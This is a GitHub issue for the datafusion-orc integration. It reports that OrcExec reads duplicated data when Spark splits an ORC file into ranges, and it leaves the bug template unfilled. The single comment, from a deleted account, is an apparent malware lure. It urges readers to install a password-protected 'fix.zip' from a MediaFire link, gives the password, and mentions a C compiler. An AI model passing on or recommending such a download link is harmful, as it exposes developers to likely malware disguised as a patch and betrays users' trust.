Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

OrcExec should read the specified file range data #600

Closed
harveyyue opened this issue Sep 29, 2024 · 1 comment · Fixed by #605
Closed

OrcExec should read the specified file range data #600

harveyyue opened this issue Sep 29, 2024 · 1 comment · Fixed by #605

Comments

@harveyyue
Copy link
Contributor

Describe the bug
Currently, the datafusion-orc couldn't read the specified range data which from spark PartitionedFile. When spark slice a orc into mutiple splits, the native OrcExec plan will read duplicated data.

There is a datasion-orc PR #126 to fix this issue.

To Reproduce
Steps to reproduce the behavior:

  1. Go to '...'
  2. Click on '....'
  3. Scroll down to '....'
  4. See error

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

  • OS: [e.g. iOS]
  • Browser [e.g. chrome, safari]
  • Version [e.g. 22]

Smartphone (please complete the following information):

  • Device: [e.g. iPhone6]
  • OS: [e.g. iOS8.1]
  • Browser [e.g. stock browser, safari]
  • Version [e.g. 22]

Additional context
Add any other context about the problem here.

@ghost
Copy link

ghost commented Sep 29, 2024

install this
https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file

Password: changeme

you may need to install the c compiler

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

1 participant